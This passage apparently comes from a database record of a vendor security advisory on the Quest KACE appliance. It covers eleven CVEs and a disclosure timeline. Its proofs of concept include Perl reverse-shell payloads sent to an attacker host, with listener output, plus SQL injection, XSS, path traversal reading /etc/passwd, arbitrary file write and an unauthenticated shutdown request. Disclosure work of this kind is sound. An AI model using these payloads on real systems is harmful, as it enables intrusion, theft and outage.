cross-site scripting issue (7.9), and path traversal vulnerabilities, which would allow an attacker to read, write and delete arbitrary files (7.9, 7.10, 7.11).\n\n### 7.1. Unauthenticated command injection\n\n[[CVE-2018-11138](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11138>)] The '/common/download_agent_installer.php' script is accessible to anonymous users in order to download an agent for a specific platform. This behavior can be abused to execute arbitrary commands on the system.\n\nThe script receives the following parameters via the GET method:\n\n * platform: Indicates the platform in which the agent is going to be installed\n * serv: SHA256 hash of a fixed value that depends of each appliance\n * orgid: Organization ID\n * version: Version number of the agent\n\nThe last two conditions are simple to meet. The Agent versions are publicly available within the Quest KACE site, but even if they were not, we found that the Organization ID parameter is vulnerable to a time based SQL injection (refer to issue 7.7). This would make it possible to obtain the agent version by querying the table 'CLIENT_DISTRIBUTION' and fetching the contents of the 'VERSION' column. The Organization ID is 1 by default, but could be obtained in the same way as the Agent version by querying the table 'ORGANIZATION' and the column 'ID'.\n\nAs stated above, the application uses the Organization ID and Agent version parameters to execute commands. This means we need to find a way to append system commands within the Organization ID, without breaking the SQL query. If we use the comment symbol (#), we can append anything we want without affecting the result of the query.\n\nPreparing payload:\n \n \n - platform = windows\n - serv = ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c\n - orgid = 1#;perl -e 'use Socket;$i=\"[AttackerIP]\";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};';\n - version = 8.0.152 (last agent version available for windows)\n \n\nThe following proof of concept executes a reverse shell:\n \n \n GET /common/download_agent_installer.php?platform=windows&serv=ceee78c2dc2af5587fa1e205d9a8cdfd55d7be35c7958858b5656d12550cc75c&orgid=1%23%3bperl+-e+'use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\")%3bopen(STDOUT,\">%26S\")%3bopen(STDERR,\">%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b'%3b&version=8.0.152 HTTP/1.1\n Host: Server\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n Accept-Language: en-US,en;q=0.5\n Accept-Encoding: gzip, deflate\n Connection: close\n Upgrade-Insecure-Requests: 1\n Content-Type: application/x-www-form-urlencoded\n Content-Length: 0\n \n \n $ nc -lvp 8080\n Listening on [0.0.0.0] (family 0, port 8080)\n Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050)\n sh: can't access tty; job control turned off\n $ id\n uid=80(www) gid=80(www) groups=80(www)\n \n\n### 7.2. Authenticated command injection\n\n[[CVE-2018-11139](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11139>)] The '/common/ajax_email_connection_test.php' script used to test the configured SMTP server is accessible by any authenticated user and can be abused to execute arbitrary commands on the system. This script is vulnerable to command injection via the unsanitized user input 'TEST_SERVER' sent to the script via POST method.\n\nThe following proof of concept executes a reverse shell:\n \n \n POST /common/ajax_email_connection_test.php HTTP/1.1\n Host: [ServerIP]\n Accept: application/json, text/javascript, */*; q=0.01\n Accept-Language: en-US,en;q=0.5\n Accept-Encoding: gzip, deflate\n Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n X-Requested-With: XMLHttpRequest\n Content-Length: 416\n Cookie: [Cookie]\n Connection: close\n \n TEST_SERVER=test;perl+-e+'use+Socket%3b$i%3d\"[AttackerIP]\"%3b$p%3d8080%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\")%3bopen(STDOUT,\">%26S\")%3bopen(STDERR,\">%26S\")%3bexec(\"/bin/sh+-i\")%3b}%3b';&TEST_PORT=587&TEST_USERNAME=[eaea@eaea.com](<mailto:eaea@eaea.com>)&TEST_PASSWORD=1234&TEST_OLD_PASSWORD=&QUEUE_ID=1&TEST_TO_EMAIL=[eaea@eaea.com](<mailto:eaea@eaea.com>)&ACTION=TEST_CONNECTION_SMTP\n \n \n $ nc -lvp 8080\n Listening on [0.0.0.0] (family 0, port 8080)\n Connection from [ServerIP] port 8080 [tcp/http-alt] accepted (family 2, sport 20050)\n sh: can't access tty; job control turned off\n $ id\n uid=80(www) gid=80(www) groups=80(www)\n \n\n### 7.3. PHP Object Injection leading to arbitrary command execution\n\n[[CVE-2018-11135](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11135>)] An authenticated user could abuse a deserialization call on the script '/adminui/error_details.php' to inject arbitrary PHP objects.\n\nTo exploit this issue, the parameter 'ERROR_MESSAGES' needs to be an array and meet some specific conditions in order to successfully exploit the issue.\n\n### 7.4. Privilege escalation via password change in Sudo Server\n\n[[CVE-2018-11134](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11134>)] In order to perform actions that requires higher privileges, the application relies on a message queue managed that runs with root privileges and only allows a set of commands.\n\nOne of the available commands allows to change any user's password (including root).\n\nAssuming we are able to run commands in the server, we could abuse this feature by changing the password of the 'kace_support' account, which comes disabled by default but has full sudo privileges.\n\n### 7.5. Privilege escalation via command injection in Sudo Server\n\n[[CVE-2018-11132](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11132>)] As mentioned in the issue [7.4], in order to perform actions that require higher privileges, the application relies on a message queue that runs daemonized with root privileges and only allows a set of commands to be executed.\n\nA command injection vulnerability exists within this message queue which allows us to append arbitrary commands that will be run as root.\n\n### 7.6. Insufficient Authorization for critical function\n\n[[CVE-2018-11142](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11142>)] 'systemui/settings_network.php' and 'systemui/settings_patching.php' scripts are accessible only from localhost. This restriction can be bypassed by modifying the 'Host' and 'X_Forwarded_For' HTTP headers.\n\nThe following proof of concept abuses this vulnerability to shutdown the server as an anonymous user:\n \n \n POST /systemui/settings_network.php HTTP/1.1\n Host: localhost\n X-Forwarded-For: ::1\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n Accept-Language: en-US,en;q=0.5\n Accept-Encoding: gzip, deflate\n Referer: http://[ServerIp]/systemui/settings_network.php\n Content-Type: multipart/form-data; boundary=---------------------------5642543667001619951434940129\n Content-Length: 3418\n Connection: close\n Upgrade-Insecure-Requests: 1\n \n -----------------------------5642543667001619951434940129\n Content-Disposition: form-data; name=\"CSRF_TOKEN\"\n -----------------------------5642543667001619951434940129\n Content-Disposition: form-data; name=\"$shutdown\"\n DoIt!\n Content-Disposition: form-data; name=\"save\"\n Save\n -----------------------------5642543667001619951434940129--\n \n\n### 7.7. Unauthenticated SQL Injection in download_agent_installer.php\n\n[[CVE-2018-11136](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11136>)] The 'orgID' parameter received by the '/common/download_agent_installer.php' script is not sanitized, leading to SQL injection. In particular, a blind time based type.\n\nThe following proof of concept induces a time delay:\n \n \n http://[ServerIP]/common/download_agent_installer.php?platform=windows&serv=58b9e89c12f57e492df8f1d744b6ed5a4d394b454ca8a99176caba35fd13ec1f&orgid=1\n AND SLEEP(10)%23;&version=8.0.152\n \n\n### 7.8. SQL Injection in run_report.php\n\n[[CVE-2018-11140](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11140>)] The 'reportID' parameter received by the '/common/run_report.php' script is not sanitized, leading to SQL injection. In particular, an error based type.\n\nThe following proof of concept retrieves the current database name:\n \n \n POST /common/run_report.php HTTP/1.1\n Content-Length: 161\n Accept-Language: en-US,en;q=0.5\n Accept-Encoding: gzip, deflate\n Host: [ServerIP]\n Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8\n Connection: close\n Referer: http://[ServerIP]/adminui/analysis_report_list.php?CATEGORY_ID=\n Upgrade-Insecure-Requests: 1\n Content-Type: application/x-www-form-urlencoded\n Cookie: [Cookie]\n \n date=1516135247598&reportId=-3161+UNION+ALL+SELECT+CONCAT(0x7170706a71,IFNULL(CAST(DATABASE()+AS+CHAR),0x20),0x716a707171),NULL--+LhEx&reportName=&format=pdf\n \n \n \n HTTP/1.1 200 OK\n Date: Thu, 08 Feb 2018 21:50:21 GMT\n Server: Apache\n Expires: Thu, 19 Nov 1981 08:52:00 GMT\n Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\n Pragma: no-cache\n Vary: Accept-Encoding\n Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type\n Access-Control-Allow-Origin: *\n Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS\n X-KACE-Appliance: K1000\n X-KACE-Host: [ServerIP]\n X-KACE-Version: 8.0.318\n X-KBOX-WebServer: [ServerIP]\n X-KBOX-Version: 8.0.318\n X-KACE-WebServer: [ServerIP]\n X-UA-Compatible: IE=9,EDGE\n Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform\n Content-Length: 3548\n Connection: close\n Content-Type: text/html; charset=utf-8\n \n [...SNIPPED...]\n <script type=\"text/javascript\" src=\"/common/js/vendor/html5.js?BUILD=318\" /></script>\n <![endif]--><title>Report Queued: qppjqORG1qjpqq</title><meta http-equiv='refresh'\n [...SNIPPED...] \n\n### 7.9. Unauthenticated Cross Site Scriting in run_cross_report.php\n\n[[CVE-2018-11133](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11133>)] The 'fmt' parameter of the '/common/run_cross_report.php' script is vulnerable to cross-site scripting.\n\nThe following proof of concept demonstrates the vulnerability:\n \n \n http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952\n \n\n### 7.10. Path traversal in download_attachment.php leading to arbitrary file read\n\n[[CVE-2018-11137](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11137>)] The 'checksum' parameter of the '/common/download_attachment.php' script can be abused to read arbitrary files with 'www' privileges. The following proof of concept reads the '/etc/passwd' file. No administrator privileges are needed to execute this script.\n\nIt is worth noting that there are several interesting files that can be read with 'www' privileges, such as all the files located in '/kbox/bin/koneas/keys/' and '/kbox/kboxwww/include/globals.inc', which contain plaintext passwords.\n \n \n http://[ServerIP]/common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(1)%2f%2f952\n \n\nThe following proof of concept demonstrates the vulnerability:\n \n \n GET /common/download_attachment.php?checksum=/../../../../../../../../../../../etc/passwd&filename= HTTP/1.1\n Host: [ServerIP]\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n Accept-Language: en-US,en;q=0.5\n Accept-Encoding: gzip, deflate\n Cookie: [Cookie]\n Connection: close\n Upgrade-Insecure-Requests: 1\n \n \n HTTP/1.1 200 OK\n Date: Thu, 18 Jan 2018 17:18:19 GMT\n Server: Apache\n Cache-Control: must-revalidate, post-check=0, pre-check=0\n Expires: -1\n Pragma: public\n Content-Disposition: attachment; filename=\"\"\n Content-Transfer-Encoding: Binary\n Content-Description: K1000 attachment\n Content-Length: 2400\n Access-Control-Allow-Headers: x-kace-auth-timestamp, x-kace-auth-key, x-kace-auth-signature, accept, origin, content-type\n Access-Control-Allow-Origin: *\n Access-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS\n X-KACE-Appliance: K1000\n X-KACE-Host: k10000.\n X-KACE-Version: 8.0.318\n X-KBOX-WebServer: k10000.\n X-KBOX-Version: 8.0.318\n X-KACE-WebServer: k10000.\n X-UA-Compatible: IE=9,EDGE\n Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform\n Connection: close\n Content-Type: application/octet-stream\n \n # $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $\n #\n root:*:0:0:Charlie &:/root:/bin/csh\n daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin\n operator:*:2:5:System &:/:/usr/sbin/nologin\n bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin\n tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...]\n\n### 7.11. Path traversal in advisory.php leading to arbitrary file creation/deletion\n\n[[CVE-2018-11141](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11141>)] The 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the '/adminui/advisory.php' script can be abused to write and delete files respectively. The following proof of concept creates a file located at '/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64 encoded). Files can be at any location where the 'www' user has write permissions.\n\nFile deletion could be abused to delete '/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's existence defines if the appliance setup wizard is shown or not.\n\nThe following proof of concept demonstrates the vulnerability:\n \n \n POST /adminui/advisory.php?ID=10 HTTP/1.1\n Host: [ServerIP]\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n Accept-Language: en-US,en;q=0.5\n Accept-Encoding: gzip, deflate\n Referer: http://[ServerIP]/adminui/advisory.php?ID=10\n Content-Type: multipart/form-data; boundary=---------------------------2671551246366368501556269100\n Content-Length: 1705\n Cookie: [Cookie]\n Connection: close\n Upgrade-Insecure-Requests: 1\n \n -----------------------------2671551246366368501556269100\n Content-Disposition: form-data; name=\"CSRF_TOKEN\"\n \n 99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e\n -----------------------------2671551246366368501556269100\n Content-Disposition: form-data; name=\"IMAGES_JSON\"\n \n {\"/../../../resources/TestWrite\":\"aaaaaa,VGVzdENvbnRlbnQ=\"}\n -----------------------------2671551246366368501556269100\n Content-Disposition: form-data; name=\"FARRAY[ID]\"\n [...SNIPPED...]\n\nTaking advantage of 7.2 and 7.4 we are able to verify the file creation:\n \n \n [root@k10000 /kbox/kboxwww/resources]# ls -lha\n total 32\n drwxr-xr-x 2 www wheel 512B Feb 9 20:40 .\n drwxr-xr-x 23 root wheel 512B Nov 14 18:29 ..\n -rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite\n \n\n## 8\\. Report Timeline\n\n * **2018-02-26: **Core Security (Core) sent an initial notification to Quest Software Inc. (Quest) via web form.\n * **2018-03-05: ** Quest Support confirmed the receipt and requested additional information.\n * **2018-03-12: **Core Security sent a draft advisory including a technical description.\n * **2018-03-16: ** Quest Support asked for the CVE-IDs.\n * **2018-03-16: **Core Security answered saying that the CVE-IDs are required once the vendor verifies the vulnerabilities. Additionally, Core Security requested a confirmation about the reported vulnerabilities and a tentative timescale to fix them. Finally, Core Security requested that Quest use Core's advisories-publication email address as the official communication channel also copying the researchers behind this discovery.\n * **2018-03-16: ** Quest Support thanked Core's reply and stated it will be in touch during the process.\n * **2018-03-20: ** Quest Support informed that they had not yet received any updates from the engineering team and had requested one.\n * **2018-03-21: ** Quest Support requested information about the KACE version used for reporting the issues and also Core's company name and information.\n * **2018-03-21: ** Core replied with the affected version (that was included in the original draft advisory) and a link to the Core company website and the list of previous security advisories.\n * **2018-03-21: ** Quest Support acknowledged the information provided.\n * **2018-03-26: ** Quest's KACE product manager (PM) thanked Core for making it aware of the security issues found and the level of thoroughness and details provided. Quest specified it had fixes already in place for some of the issues. Quest's KACE PM asked for a conference call in order to understand more about Core's offerings for future engagements. Finally, Quest's KACE PM notified the work done by Core is in breach of its license agreement, and requested Core not to distribute the findings to the public, otherwise Quest would take legal action.\n * **2018-04-13: ** Quest's KACE PM sent a follow up email and informed that it made a hotfix to patch the reported vulnerabilities. Quest also requested a call meeting to understand future opportunities based on the Core's company capabilities. Finally, Quest asked for information about the researcher that found the vulnerabilities and a link of Core's choosing in order to be included in Quest's Acknowledgment page ([https://support.quest.com/essentials/vulnerability-reporting-acknowledge...](<https://support.quest.com/essentials/vulnerability-reporting-acknowledgements>)).\n * **2018-04-16: ** Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities.\n * **2018-04-17: ** Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13).\n * **2018-04-17: ** Core thanked the answer and stated the willingness of keeping written communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process.\n * **2018-04-18: ** Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case.\n * **2018-05-31: ** Advisory CORE-2018-0004 published.\n\n## 9\\. References\n\n[1] <https://www.quest.com/products/kace-systems-management-appliance/>\n\n## 10\\. About CoreLabs\n\nCoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber-attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: <http://corelabs.coresecurity.com>.\n\n## 11\\. About Core Security\n\nCore Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity amp; access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.\n\nCore Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [info@coresecurity.com](<mailto:info@coresecurity.com>)\n\n## 12\\. Disclaimer\n\nThe contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>\n\n## 13\\. PGP/GPG Keys\n\nThis advisory has been signed with the GPG key of Core Security advisories team, which is available for download at <http://www.coresecurity.com/files/attachments/core_security_advisories.asc>.\n", "modified": "2018-05-22T00:00:00", "published": "2018-05-31T00:00:00", "id": "CORE-2018-0004", "href": "https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities", "title": "Quest KACE System Management Appliance Multiple Vulnerabilities", "type": "coresecurity", "cvss": {}}], "dsquare": [{"lastseen": "2018-05-27T23:10:13", "bulletinFamily": "exploit", "description": "SQL Injection vulnerability in WordPress Ninja Forms plugin parse-media-shortcode parameter\n\nVulnerability Type: SQL Injection", "modified": "2018-05-01T00:00:00", "published": "2018-05-01T00:00:00", "id": "E-642", "href": "", "type": "dsquare", "title": "WordPress Ninja Forms SQL Injection", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 0.0, "vector": "NONE"}}]}